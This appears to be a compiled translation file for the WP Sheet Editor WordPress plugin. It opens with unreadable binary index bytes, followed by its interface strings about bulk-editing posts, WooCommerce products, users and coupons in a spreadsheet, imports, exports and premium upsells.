.=9=J=Z=p=!= === ="=&>55>k>(>> >>> >&?/?F?^O????"?@ @%"@H@Y@#r@@@d@I(A@rA(AA A ABB4B JB"TBwBB<B=BC:'CbC uCCCC CCCCC"D3DMD(]D$D DDDDDDEy5EE&DFpkH^H;I@IXIqIxIIIII)I JJ;JLJcJtJ{J J1J"JJJJKK4KLJLhLpLvL{L8L*LLpM{HNN$N\P*`PSPEPW%QB}QQ/RbR,WxXoXRZB[[i[$b\'\ \%\\0y]$^D_!`$6`6[`-`A`^agaaWaW!bDybBbTc+Vc3c=d}dre'pg8gg@}hhHfiLi/i,jjel[lAGmKmAmnknPoopp3 r+>rjr~r rrrhAssRtXtu u,uAu'v0v5v9vBv Rv`v'uvv'w77w ow|wwwww w*wx x"%x9Hx9xxtxNycy+wy+y yyy z.zFzOz8Uzz)zzz zz{{{{ {{{{|| | !|+|;|Q|g|x|.||||c|a}Jp}\}*~lC~e~DU[!iQ=-E5O= 3^n?s>Jo7>14pCoƐ96pPV]3x#1Г#&;B5~@5:K#13ܕ.raʙ3iԜ>̝`X+'.!V%xf  &5D"d!ݤ!1Jd(v7 9N6z9W)v8A٪9UOoFX8_+4Ĭ38-.f1:ǭ3B6YyuӮ]I]5;6$::ò$g#feIX: @MP'S.{&8ѷ% B0Ws˹Tyy ̻XLY-Լ^G*\EͿeL'[e |@8T)\s2Q^kW(|9iEmWCk\U B/+[EZ'@&-CqXA~#1lU `0V-$$ -!,@Wm2W & 0Gx # $-dRc "<_}<%"&*E;p#9=)9g 2vl{CGHOP=RJ1)|% XU(]HZ!3|?`CQ3 LVL Y1s #$6>^S&   - UM     h z WD>*2vR !y"B#S$n%%%%% % %%&/& J&U&^&2w&r&!'?'ZG'' '$'' (#(@( Y((f(3(( ((()),)>>)U})2)**8*9S******o*k+B++ +;+ *,7, N, X,`b,2,/,K&-r--.-/-o..q..0.I.#./8R/ /4/!//80;0K0R0;j0#00001#11 U1-a111 1 1 11#11 2 )262K2c223'4 C4O4d4~4:45 555=6 D6 P6]66x6?6B6U277 77,747,!89N8<838H8iB9~95+:+a:@:*:7:!1;QS;G;P;1>= p=~=5?5Q?5?? ?-?G@W@#@9A@KA AAAAAABB2BNBmBBBB B B+BDD"&DIDiD D2DDDDE E*EEE E E4 G2AG<tG<GGHQISIAdIIII*IJ1JH@J?J3J J>K FKPKdKwK KKK$KKL LQ:LLLLL}M7M1MmN nN9zN NNFOO|Pb@QRgR%S:S#T2T5ET{T}UU-U+U(V9V+V)W,0W]WxWXrXC YBOYYY7ZZ[a[H\"\\)\8\<\#]VC]h] ^> ^L^'Q^y^;^2^k_ l_v____#____A_9`S`o` `(`A`+`*a;aLaRamaaaaaIab'bEb|dbcc dd3dIdemkf]f7gg?hXOi i5iij j *j+4j`jij{j>jbjP.kk kkkk kkk llkllCm.o2Io|oo>o<o0p-?p1mp1p.p>q1?q?qq q&q@q8:rsrNrrZsshsPttouIu:vvS<ψ7#8%^Pd ۊ '/8Ff&@ Ne G'#+O W co&؍/;@R  Ď ǎ0#T!I Yf4z Wܐ4J%1W+Z *n-L̗":<kw>"=Y$w ™ ϙݙ CTqDxY͚l'.Û7}V4 cAz" ,C5p'ΞH]J ʠԠ #%*I t~ *ʡӡ  #01b4y!Т" ,>OV_L ] kFyۤb2v2:ܥ<6TTV173i.*̧.@_%$ 6.A1p)yInSɬ .)X0pحݭ?a*0@Lʯ1BRp  ̰!!9[-{.ر.-3Da$.˲)> ]5j$ųZԳ/6N'd 0" ,-"Z}{QKd(ٶ&")Is .ҷNN=E!A Zgw4$/:*j  ú/Iݻmp޾hc̿Կ. No3-#$6[v }A5  $@eRSl&Q9 ISY6s4sJ gtW+WYPmF_=p:6&qzYm;Z*N($Fk*!"6DT{xIT\! |,$&%'CbS1O0/B6-yZy||UyOT`n(bOzJT1BK'R[;zmwrGXLXFn+L4F)Fp_ 9(bQ' y22M-^AT+#O34<q+C1=:x2~   !. 6 BO_v +h Uv.`~xGj':bP68o;   S| 7    ^`@DQ;y=;6 >HCeI!5?R<M2:@mHKbi-iX!km""s#3%&'(#T)x)"))b)%*8*A*R*!d*&****+**+C+Y+l++.!.?=.}.E.. ...I.Y>//u?00c11.1@1S2Of2$2b2O>3f3F30<47m4:4:4158M57555N5^C6x6f7j777*%8P909-:@:Q';y<g=e>cg>K>?? ?? ?#?8@"O@Qr@?6% 0L{Uv3|4>Bi`ZP?r ZW}I{{_oyoe Ds{h9fGOW:(i@=ddgmU z&3h`S .( '&R \Ka X gqCr-Ht&<a _b] }(,#]0RF.Ah6 `[v.%r#aZ_/4ewVTn X_nks/~,!Kwlc`GS$.[ >smR%Bw747 pNgNZ;2 A?*TMTIf")+9A-1L0\Xi69*kqtCDx9,jp# @DQa8HxLQ,oxOfo35 l-*"4Ck y.[eKO7G[F, u+no"Q&#O^j9[ y=^$8@^Y1_(->W/:}8'EpEq:(Q@:!1P#\q8'+%KJ\mLRu G!(dBI^hei~}<J8bV6.:z\2S |m ll1K4|5J?" ~s Q#MPaN2 /r<d,Ss5 jkX-U y2V3"I!5Y3<ut}W ccnf>`3PJ)%b1Ag)A N0hcCD&T~)q;6fYz*OZ')*7C /G>jE+Ie%l VFv;&|!bi' ]+Bu$wJ0cESYF]@L$xy$~z?v+MpX'Yp5 x$PB=wVW;MNb) m;4H]t-zdFMr"H0ukv*RU{2Tt=27H/UDEg=<|1^!nj (You can remove these help messages in the advanced settings) (Premium. Try for Free for 7 Days) If it doesn't start automatically you can find the file in the folder /wp-content/uploads/wp-sheet-editor/exports/ on your server.

                  The export files are deleted automatically after %d hours. Some columns have the button to change the formatting%1$d of %2$d items have been processed from the file. {total_updated} items updated and {total_created} items created.%s rows will be edited.%s variations created.%s: Allowed spreadsheet views(Install free extension)(Pro extension)- -- First, edit one item in the normal editor and fill all the fields manually.- If the previous solution failed, you can create new columns manually.- Maybe you deleted the columns from the list.- We can help you.- We can scan the database, find new fields, and create columns automatically. Lite version. Showing all products and all fields as columns, 15 columns are editable and the rest are read only.
                  Upgrade: Edit in Excel/Google Sheets, export, import, bulk edit thousands of products at once.. Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work. Add child categories using this format: Parent > child1 > child2. We recommend you increase the server memory to at least 256mb to prevent server errors. Tutorial...1. Are we reading the file properly? Here is a preview of the first 5 rows from the file.2. Please make a backup before executing the import, so you can revert in case you used wrong settings or the file was wrong. The import will save the information directly.Read moreEditing the field: {field_label}Money back guarantee. Buy the plugin without worries. We'll give you a refund if the plugin doesn't work.Tip from WP Sheet Editor: Edit thousands of categories at once, make advanced searches, view all the info in one page, and more.Tip from WP Sheet Editor: You can view all the users in a table, view thousands of full profiles, edit hundreds of users at once without crashing your server, view all shipping/billing/buddypress information. Make advanced searches, create hundreds of users, and more. Download PluginTip from WP Sheet Editor: You can view and edit Product Variations in a spreadsheet, bulk edit, make advanced searches, edit hundreds of variations at once, copy variations to multiple products, etc. Download PluginTip: The formula execution is too slow? Save more posts per batch
                  Are you getting errors when executing the formula? Save less posts per batchTip: The saving is too slow? Save more posts per batch
                  Are you getting errors when saving? Save less posts per batchWP Sheet Editor: You can view all these variations and edit them all at once in our spreadsheet. Open in a spreadsheet
                  Use the coupon: %s

                  The export finished.

                  The download should start automatically.

                  WP Sheet Editor

                  Do you want to install the premium plugin that you purchased? Follow these steps:

                  1. If you were using the free version of the plugin before the purchase, you need to uninstall the free version now
                  2. When you purchased the plugin, you received an email with the download link and license key
                  3. Now go to this page and click on the "Upload" button at the top
                  4. Upload the premium zip file
                  5. Activate the plugin
                  6. You will see a screen asking for a license, enter your license key
                  7. Done. Now you should see the welcome page where you can set up the plugin and start using it

                  If you need help, you can contact us

                  Missing column?

                  or
                • Shop manager role can view and edit WooCommerce products.
                • Add a "duplicate" tool to the spreadsheet. You can select one row (post, product, coupon, etc.) and create a lot of copies.

                  Example. Create 100 products with the same tags, dimensions, attributes, and variations. And only change a couple of fields manually.

                  Advanced Custom Fields metaboxes appear in the Spreadsheet Automatically. So you can edit custom fields easily.

                  Create new spreadsheets with custom columns and Share the Spreadsheets with your Users or Employees on the Frontend. Useful for marketplaces where vendors should edit products in the spreadsheet, allow post or event submissions on the Frontend, events directories, Web Apps, Custom Dashboards, etc.

                  Edit Hundreds of Posts at Once with just a few clicks. Search and replace, Replace urls and phrases, save values to fields in bulk, copy values between fields, merge fields, etc..

                  Examples: Copy regular price to sale price, update product attributes names, etc.

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced math formulas. Example, increase prices by 10% , manage inventory , etc. Run any math formula.

                  You can use multiple fields in the formula, for example, "Regular price x Inventory / Sales price

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of products, including Variable Products, Downloadable Products, External Products, Simple Products. You can edit all product fields in the spreadsheet, including attributes, images, etc.

                  Edit WordPress users in spreadsheet, edit only basic profiles and make basic searches.

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including custom fields. Add new columns to the spreadsheet, Good for ecommerce stores, membership sites, events directories, business directories, user directories

                  Edit default post fields in spreadsheet.

                  Edit restaurant menus, courses, projects, portfolios, and all custom post types.

                  Find posts by keyword, taxonomies, author, date, status, or custom fields.

                  Search in multiple fields with advanced operators: =, !=, <, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio with stock < 20, or products from category Apple without featured image, or products containing the keyword "Google" without image gallery.

                  It is the best way to manage your comments, WooCommerce customer reviews, event reviews, testimonials, and order notes in a spreadsheet. You can make advanced searches by any field (keyword, order note, status, find comments by post type, and all the fields). You can bulk edit them, delete all at once, export them to excel or external systems, import comments and reviews from other systems, and more.

                  One Spreadsheet for Every Custom Database Table added by other plugins. Live edit in the cells, Bulk Edit, Make advanced searches by any field, export and import, bulk delete, move information between sites, edit thousands of items, and more.

                  One spreadsheet for categories, tags, product attributes, event categories, portfolio categories, real state tags, etc. View and edit all the items in one place, copy paste, upload category images quickly, add descriptions, edit SEO, etc.

                  Resize columns in the spreadsheet and save it for future sessions.

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, Advanced Search by any field , Auto generate hundreds of coupons, Update hundreds of coupons at once, and more.

                  View all the EDD products in a spreadsheet, create downloads and files in bulk, edit hundreds of products at once using formulas, Advanced searches using multiple fields, etc.

                  View all the events in a spreadsheet, create events in bulk, edit hundreds of events at once using formulas, Advanced searches using multiple event fields, etc.

                  View all your Customers in a Spreadsheet. View full profile, Edit Profiles Quickly, View Billing and Shipping information, Make advanced customer searches, Export Customers to Excel or Google Sheets, Import Customers from External Applications

                  View and dispatch all the Orders quickly. Advanced Search by any field (shipping method, taxes, VAT, payment methods, customers, products, etc), Export orders and customers information including guest customers; edit thousands of orders quickly, and more.

                  View the image, videos, and all the files from the WP Media library in a spreadsheet. Edit all the file fields, including alt text, image captions, file descriptions, Advanced Search by any field , Auto generate alt text, captions, etc. using the parent post title or categorías, Update thousands of files at once, and more.

                  You can auto fill cells (copy) by dragging the cell corner into other cells, as you can do in excel.

                  You can create columns for custom fields.
                  Edit page settings added by your theme, event details, products information, etc.

                  You can rename the columns of the spreadsheet.
                  Example. Instead of showing “Post author” on the spreadsheet, you can change it to “Uploaded by”.

                  You can show, hide, and sort columns in the spreadsheet.

                  Editing the field: {column_label}. Items to process: {total}, Progress: {progress_percentage}%%, We have updated {edited} items.

                  1- Please backup your database before executing, the changes are not reversible.

                  2- Make sure the bulk edit settings are correct before executing.

                  Complete

                  .

                  Free extensions

                  Send email notifications to users in bulk, and create advanced segments using the advanced search.

                  For example, you can filter a spreadsheet of customers/users/forum users/affiliates/blog commenters by country, city, state, orders count, etc and send them important emails.

                  We recommend that you use a SMTP plugin to improve the email deliverability and take into account the users consent and privacy laws.

                  The automatic saving failed. Your changes were not saved completely due to an error. You can try again later, if the error persists contact our support team and keep this tab opened

                  The bulk edit has been scheduled. You can close this popup. View scheduled bulk edits.

                  The bulk edit was not applied completely. The process was canceled due to an error.

                  You can close this window.

                  The changes have been scheduled. You can close this popup. View scheduled changes.

                  The changes were not saved completely. The process was canceled due to an error .

                  You can close this popup.

                  The export has been scheduled. You can close this popup. View scheduled exports.

                  The import has been scheduled. You can close this popup. View scheduled imports.

                  The import has finished

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  The process has finished

                  This includes spreadsheets to manage Donation Forms, Donations, and Donors. You can bulk edit, export, import, and quickly manage your donations website created with GiveWP

                  You can edit simple products only. Available columns: title, url, description, date, SKU, regular price, sale price, stock status, manage stock, stock quantity.

                  More columns and product types available as premium extension.

                  Do we deserve a 5-star review? Yes, you deserve it . - . NoA column is missing?A column is missing? Enable itA field is missing? Click hereACF: Show checkboxes as multi select dropdowns?Accept post from this post typeAccept terms from this taxonomyActionActivate full screenActivate this option to remove the pagination buttons and load rows automatically when you scroll down. You will see all the rows at the same time, you can load thousands of rows without problems.Active filters:Active.Add NewAdd New Columns to the SpreadsheetAdd New SpreadsheetAdd a name for this group of columnsAdd call to actions or any text at the beginning or ending of your postsAdd columns for custom fieldsAdd hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Add html classes to the "post status" cells based on their values?Add newAdd new columnAdd new post typeAdd time to existing datesAdministrator role can view and edit everything.Advanced Custom FieldsAdvanced SearchAdvanced SettingsAdvanced modeAdvanced searchAdvanced settingsAll SpreadsheetsAll changes saved.All items have been saved.All the features available in the backend spreadsheet can be used in the frontend spreadsheet.All the parameters will be used to search on variations instead of the main products.All the products in the storeAll the rows from my current searchAll the variable productsAllowAllow backordersAllow line breaks in values during the export and import processAllow multiple files per field?Allow multiple posts per field?Allow multiple terms per field?Allow safe html in post titles?Allow to edit this column on variation rows?Allow to edit using formulas?Allow to hide column?Allow to hide this column on the settings page?Allow to import images from FTP servers?Allow to rename column on the settings page?Allow to rename column?Allow to see the variation URL slug?Allow users with the capability unfiltered_html to save any html in the post content column?Allow your Users to Edit Custom Fields, Add new columns to the editor, Enable fields, disable core fields, and sort fields. You can customize the frontend editor completely.Allow your clients to edit WooCommerce Products using the spreadsheet without wp-adminAllow your marketplace sellers to bulk edit their productsAllow your marketplace sellers to import products on the frontendAllow your readers to submit blog posts using the spreadsheetAllow your store buyers to download the catalogAllow your store customers to make advanced catalog searches Allow your store employees to manage stock and pricesAllow your visitors to publish eventsAllow, but notify customerAllowed valuesAlready downloadedAlternative textAlways run the save_post action after any post row is edited?And more.And see previews while editingAny of these values (Enter multiple values separated by ;)AppendApplication/SoftwareApply changes in bulkApply settingsAre you sure you want to delete the post type? You will delete the posts in the post type as wellAre you sure you want to delete this column?Are you sure you want to delete this columns view?Are you sure you want to delete this scheduled job and all its related files?Attach every taxonomy term in the hierarchy to the posts?Attribute %d defaultAttribute %d globalAttribute %d nameAttribute %d value(s)Attribute %d visibleAttribute nameAttribute value(s)Attribute visibilityAttributesAttributes appear as dropdowns in the product page where the user can select the variation colors, sizes, and any attribute. Here you can define the default options selected in the dropdowns.
                  Separate values with the character %s
                  This only works for Variable Products and it must have variations, otherwise the default attributes won't be saved.AuthorAuthor role can view and edit his own posts only, he can upload images.Auto (Default)Auto retry failed batches?Autofill cellsAutomaticAvailable componentsAvailable spreadsheetsAvailable tools (optional)Average ratingBackendBackorders allowed?Backwards compatibility. This setting will be removed in future updates.Basic searchBlacklist these columnsBulkBulk EditBulk Update featureBulk actionsBulk edit columnBulk edit not executed. No items found matching the criteria.BuyBuy bundleBuy extension now!By default WordPress shows a black bar at the top of the page when a logged in user views a frontend page. The bar lets you access the wp-admin, log out, edit the current page, etc. If you enable this option we will hide that bar and you can use the shortcode: [vg_display_logout_link] to display the logout link.By default dates show in a calendar, post content has a text editor option, images show preview, etc. you can enable this option to display everything as plain text and disable the fancy formatting.By default we automatically show columns for all the new fields found, so everytime we detect new fields you can see them and edit right away. But this might "break" your column sorting or annoy you if you have enabled specific columns. Enable this option to generate those columns but leave them deactivated so you can enable them later.By default we show comments in some columns indicating the value format or why they are locked. for example, the category column shows a tip indicating to separate terms with a comma and how to add child categories, variation columns have a tip indicating why they are locked for parent products. You can activate this option to disable those tips.By default we show the CORE statuses: published, draft, private, scheduled, trash. However, some plugins register custom statuses: job managers, woocommerce. Enable this option to show all the custom statuses in the "status" column. CAREFUL. We will show all the statuses from all the post types in the dropdown because it is impossible to know the post type of each status to we can not separate them. Do this only if you are a developer.By default we show the categories as names separated by commas. Activate this option to display and save term ids separated by commas.By default we show the categories as names separated by commas. Activate this option to display and save term slugs separated by commas.By default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite listBy default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite list.By default we will copy all the attributes and all the variations and replace the existing variations. You can activate this option to copy individual variations and append them to the existing variations in the target product.By default, for performance reasons, we trigger the WC API events when fields related to WC are edited: Prices, SKU, Stock, Attributes, Images, Type. Activate this option if you want to trigger the WC API events when any field is edited, including fields unrelated to WC.By default, if the product is variable, we activate "used for variations" to save you time, so you can create your variations faster. But if you prefer to manually activate it on specific attributes, you can activate this option.By default, the "parent" column displays titles and saves using titles. If you activate this option, the column will display IDs and save IDs. This is useful if you have duplicate titles and you need to save the exact parent by ID.By default, the importer allows to save images using full internal URLs, external URLs, file name (from the media library), and file ID. If you activate this option, it will support FTP urls like this: ftp://user:password@host:port/path/to/image.png. This will make the import slowerBy default, we create 100 copies per batchBy default, we export and import one column named "Images" with the featured image and gallery images combined. Activate this option to export and import one column with featured image and one column with gallery imagesBy default, we make the attributes visible in the products when you save any attribute in the spreadsheet to save you time, but if you prefer to manually activate it on specific attributes, you can activate this option.By default, we only attach the last term in the hierarchy to the posts because WordPress automatically handles them correctly. But if you want to assign each term to the post, including the parent categories, activate this optionBy default, we only display 30 characters. You can increase the number here to view larger previews.By default, we remove any unsafe html from all the spreadsheet columns before saving the values. You can activate this option if you want to allow the WordPress super admins or administrators to add iframes, ad codes, etc to the post content. Use it at your own risk.By default, we run the save_post action only when a post data field is updated (fields other than meta and taxonomies) for performance reasons. Enable this if other plugins aren't detecting our changes or webhooks aren't running.By default, we show all the columns in the app modules (advanced search, bulk edit, export, import, etc), even if they're disabled in the columns manager. Activate this option to only display enabled columns.By default, we show every checkbox as a separate column, but if you have checkboxes with many options you might want to use one column with a dropdown instead.By default, we show the file name as a preview next to the thumbnail, you can activate this to show the thumbnail and upload buttons onlyBy default, we show the label in the cell instead of the raw value. But you can enable this option to display the raw value in the cells.By default, when you export the featured image column or gallery columns, we add the file ID to each image url so we can import them later faster. You can activate this option to not add the file id and the import will work fine later but it wont be as fastBy the default, the import stops when a product references a broken images and you have to correct the issue in the file and start a new import. Enable this option and we will let you import products without images when the image url is brokenCHARACTER LENGTH <CHARACTER LENGTH >CONTAINSCSV ColumnCSV FieldCSV fileCSV file from my computerCSV file from urlCSV file in the serverCSV file locationCalendarCancelCancel importCancel the changes and close popupCapitalize the first letter of every word in the field. I.e. convert "my title" into "My Title".Capitalize wordsCaptionCareful. The changes are not reversible. Please double check proceeding.Category name...Cell typeChange attribute settingsChange background colorChanges savedChanges saved successfullyCheckboxClear valueClick here to export the settingsClick here to show all columns againClickable buttonClicks avoided
                  (estimated)CloseColumn formatColumn groupsColumn keyColumn nameColumn not found. Try with another search criteria.Column removed. Go to "settings > hide/display columns" to enable it againColumn settings defined in the columns managerColumn sizesColumn titlesColumn width (pixels)Columns could not be saved. Try again.Columns created manuallyColumns limitColumns managerColumns renamingColumns resizingColumns restored successfully, please reload the page to see the restored columns and enable themColumns visibilityColumns visibility and Custom Fields (optional)Comment countCommentsComments, Reviews, and Order Notes SpreadsheetContact usContains keywordContentContinueContributor role can view and edit his own posts only, but he can't upload images.Copy & paste from another spreadsheet or tableCopy and Paste into the spreadsheet belowCopy files from this product: (You need to save the changes afterwards.)Copy from other columnsCopy from this columnCopy regular price and decrease by percentageCopy regular price and decrease numberCopy the value of other fields into this field.
                  Example, copy "sale price" into the "regular price" field.Copy the variations into these products.Copy variationsCopy variations and attributes from this product:Copy variations faster: Number of variations to copy per batchCopy variations from this productCreate and copy variations for variable products.Create columnCreate new items and update existing itemsCreate this number of variationsCreate variationsCreate variations for every combination of attributes?Cross-sellsCurrencyCurrent spreadsheetCustom Database Tables SpreadsheetCustom attribute namesCustom attribute: %sCustom columnsCustom formulaCustom post typesCustomize featuresDark modeData missing, try again later.Data sourceDateDate (GMT)Date and timeDate range fromDaysDeactivate the data prefetchDecimals separatorDecode quotes?Decrease byDecrease by numberDecrease by percentageDecrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Decrease the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Deduct a number of hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Deduct time from existing datesDefaultDefault attributeDefault attributesDefault sort orderDefault: 4. When you enter an external image URL in any image cells (or during the import), we download the image file into the WordPress media library and save it in the field. By default, we limit the download time to 4 seconds, any download that exceeds that number of seconds will be cancelledDeleteDelete allDelete completelyDelete fieldDelete posts faster: Number of posts to delete per batchDelete rowDelete rowsDelete serialized fieldDelete the attached images when deleting a post?Delete the newest items and keep the oldest itemDelete the old items and keep the newest itemDelete user accounts in the entire network when deleting users in the spreadsheet?Demo videoDescriptionDisable allDisable cells lazy loading?Disable column. You can enable it later.Disable extension offerings?Disable post actions while saving?Disable product inventory stats?Disable serialized columns support?Disable the addition of file ID to the image URLs?Disable the automatic activation of "is visible" for attributes on products?Disable the automatic activation of "used for variations" for attributes on variable products?Disable the automatic formatting detection?Disable the automatic loading of rows?Disable the display of file names in the image columns?Disable the full screen mode?Disable the heartbeat api in the spreadsheet?Disable the help toolbar?Disable the popup that asks you to install important extensions?Disable the replacement of line breaks with p tags?Disable this if you are using a object/database cache plugin. We disable this by default to make the saving faster, when you edit a lot of posts WordPress tries to "clean up" the cache even if you are not using a cache plugin, making hundreds of unnecessary database queries.Disable usage stats widget?DisabledDisconnecting the current site from your Google account and the WP Sheet Editor API will pause the sync jobs you created on this site. However, sync jobs created by other users on this site, which sync to their own Google accounts, will remain active. Your other WordPress sites will continue to function normally. Do you want to continue?Display raw value on select cells?Display spreadsheet editor on the frontendDisplay the spreadsheet editor in the frontendDisplay variationsDo not allowDo not copy the variation images?Do you want to deactivate columns for new fields found?Do you want to delete {rows_number} rows from the database completely? If you want to restore them later, you should make a backup before.Do you want to update or create items?Don't display the disabled columns in the modules?Don't show read-only columns in the advanced search?DownloadDownload %d IDDownload %d URLDownload %d nameDownload CSV fileDownload URLDownload expiryDownload filesDownload files : URLsDownload files : namesDownload limitDownload nameDownload typeDownload updateDownloadableDownloadsDrag the columns to the left or right side to enable/disable them, drag them to the top or bottom to sort them, click on the "edit" button to rename them, click on the "x" button to delete them completely (only when they are disabled previously).DuplicateDuplicate (Tool)Duplicate from the main languageDuplicate items in bulkDuplicate items in bulk.Duplicate rowDuplicate rows: Number of copies to create per batchDuplicate this item:EDD Download FilesEDD Variable PricesENABLE COLUMNS. These columns require a page reload: {columns}. Do you want to reload now? We will reload automaticallyENDS WITHEasy Digital Downloads SpreadsheetEditEdit Edit %sEdit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, restrictions, and more. Make advanced searches. The spreadsheet is in sync with your site, no need to import/export. Download PluginEdit Custom Fields in SpreadsheetEdit Posts and Pages in SpreadsheetEdit User Profiles in Spreadsheet - BasicEdit User Profiles in Spreadsheet - FULLEdit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and MoreEdit WordPress %sEdit all the rows from my current search (including non-visible rows).Edit attributesEdit categories, tags, attributes in a spreadsheetEdit filesEdit in a SpreadsheetEdit meta keyEdit only parent productsEdit only variationsEdit settingsEdit the rows that I selected manually in the spreadsheet.Edit the same rows that I manually selected previouslyEdit "%s"Editing:Editor role can view and edit all posts and pages.ElementorEmailEmail messageEmail subjectEnableEnable advanced filtersEnable allEnable auto saving?Enable columnEnable commentsEnable new spreadsheetEnable option to restrict spreadsheet views per user?Enable paginationEnable reviewsEnable simple mode?Enable the advanced mode at the bottom of the page to customize the column width, format (editor, file upload, taxonomies), etc.Enable the dark mode?Enable the fancy taxonomy terms selectorEnable the utf8 encoding fixEnable this option if you want to copy all the variation data, except the variation image.EnabledEnabling this column requires a page reloadEnter %sEnter IDs separated by commas, spaces, new lines, or tabs. You can use ID ranges like 20-50 as a shortcut.Enter a date format. List of formats. Example: Y-m-dEnter a date format. List of formats. Example: Y-m-d H:i:sEnter a date format. List of formats. If you leave it empty, we'll use the default: Y-m-dEnter a date format. List of formats. If you leave it empty, we'll use the default: Y-m-d H:i:sEnter a keywordEnter a keyword to exclude posts, separate multiple keywords with a semicolon (;)Enter a name...Enter a number and those columns will be frozen while scrolling horizontally. You can right click on any column to freeze or unfreeze it. For example, enter 2 to freeze the first 2 columnsEnter a search term...Enter a titleEnter a username or email...Enter a word and we will find the first matching column. You will avoid scrolling through dozens of columns to find the one you need.Enter each choice on a new line. For more control, you may specify both a value and label like this: red : RedEnter item name...Enter multiple SKUs or IDs separated by commasEnter multiple URLs separated by commasEnter multiple attributes separated by |Enter multiple language codes separated by commas and we will create copies of the main language. For example: en, es. Existing languages will be skipped.Enter multiple post titles separated by commasEnter multiple terms separated by %sEnter multiple terms separated by commasEnter one URL per lineEnter one or multiple term names separated with %s or new lines. Enter the full hierarchy like "Parent > Child" to remove subcategoriesEnter the URL. It can be an URL from your own site (Example http://site.com/wp-content/uploads/2016/01/file.jpg) or an external URL.Enter the URL. It must be an URL from your own site. Example: http://site.com/wp-content/uploads/2016/01/file.jpgEnter the URLs separated by commas. They can be from your own site.Enter the URLs separated by commas. They must be from your own site.Enter the attribute nameEnter the column name (anything you want), and select the field key from the dropdown. If you dont find it you can type it in the dropdown. View TutorialEnter the full hierarchy like parent > childEnter the list of field keys separated by commas, you can enter the full meta field key or partial keywords or prefixes. This is useful because some plugins add thousands of unnecessary fields to the database and they clutter the spreadsheetEnter the names of Enter the new terms separated by %s . You can add hierarchy like parent > child > childEnter the number.Enter the percentage number.Enter the term name or slug.Enter the value to append to the existing value.Enter the value to prepend to the existing value.Error on row ID: %d - %sError. The math engine could not execute the math operation: %1$s, ID: %2$dError. The status column must be enabled in the spreadsheet before we can remove duplicates.Error: %sError: The new value is empty or is equal to the old valueEtc.Events SpreadsheetEverything is already saved.Everything you need for All Posts Types and ProductsEverything you need for Users and CustomersExample 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 (Set regular price - 30%)Example: ExcerptExecuteExecute NowExitExit Full ScreenExportExport and import settingsExport columnExport rows faster: Number of rows to export per batchExport to CSVExtend the spreadsheetExtension nameExtensionsExtensions that require updateFTP Images: Skip images with same file name?Favorite search fieldsFeatured ImageFeatured imageFieldField 2: CSV FieldField 2: WordPress FieldFile (url or path)File IDFile URLFile URLsFile could not be uploaded. Please start the process again.File uploadFile upload (multiple)File upload (single)File uploaded succesfully but it's not a valid CSV file or it uses the wrong encoding. If you edited the file in Excel, verify it was saved as UTF-8 and keep in mind that, sometimes copy pasting from external places adds invalid characters. So make sure you paste only the values and not paste the formatting to avoid pasting invalid characters.Files saved.Filter items listFinal stepFind these IDs:Find these URLs:For advanced users. Enter the name of your PHP function and we will pass 2 parameters: $current_data (string with current value of the column) and $row_id, the function must accept the 2 parameters and return the modified value as a string. We will automatically save it if the value changed. Read more.For example, if you searched for posts by author = Mark using the search tool, we will update only posts with author MarkFor example, if you select the blog categories, we will only accept blog categories in this column.For example, if you select the post type "product", we will only accept product titles.For example, select "Spanish" and "German" here and we'll find products that don't have spanish translations or german translations.For example, select "Spanish" and "German" here and we'll find terms that don't have spanish translations or german translations.For example, when deleting a post completely (not moving to the trash), delete the featured image and product gallery images from the media library. CAREFUL.If you use the same images on multiple posts, it will break the images on other postsFormatted cell mode: Render as: (Use only if cell type is empty)FormulasFreeze first columns at the left side?Frontend SheetFrontend SpreadsheetsFull URLFull contentFull screen mode is activeGalleryGeneral settingsGenerate excerptGenerate serialized fields columns based on these postsGet instant help in the live chat + email support during business hoursGet the %d extensions below for just $ %s $ %sGive SpreadsheetGlobal sortGo PremiumGo backGo to pageGo to the topGoogle SheetsGuides and TutorialsHeightHelpHere is a sample CSV containing all types of products.Here you can control the batch size for the copy of variations. If you use a high number the copy will finish faster but it can saturate your server. We recommend a low value like 50 so it will not saturate your server although it might be slowerHere you can control the batch size for the exports. If you use a high number the exports will finish faster. You can use a high number safely because we automatically fall back to a lower number if the server is overloaded during one export. For example, export 100 rows per batch and complete the exports super fast and if we detect slowness in one export we will automatically restart the export with 10 rows per batchHide / Display / Sort columnsHide admin bar on the frontendHide columnHoursHow are the multiple values saved in the database?How do we find existing items to update?How do you want to save the multiple files?How do you want to save the multiple posts?How do you want to save the multiple terms?How is the file saved in the database?How is the post saved in the database?How is the taxonomy term saved in the database?How is the user saved in the database?How long do you want to wait between batches? (in seconds)How many copies do you want?I don't want to copy all the variationsI have a database backup, Execute NowI understand it will update the products from my search.I understand, continueI want to search rows to update and edit all the search resultsI.e. A value like "(234343) My great title" can become "My great title" by removing everything before ") "I.e. A value like "My great title (234343)" can become "My great title" by removing everything after " ("IDIf the column has a very long text, we will remove the html and shorten it to a number of words.If this is a global attribute, enter the attribute key (i.e. pa_color). Enter the name if this is a custom attribute.If you are trying to download something that was exported several hours ago, the file might have expired. Files expire after %s hours.If you click on the "download" button, we will download the file from the official website: wpsheeteditor.com.If you disable this option, this column will be edited manually only.If you enable this option, some columns will appear as text. Normally we detect 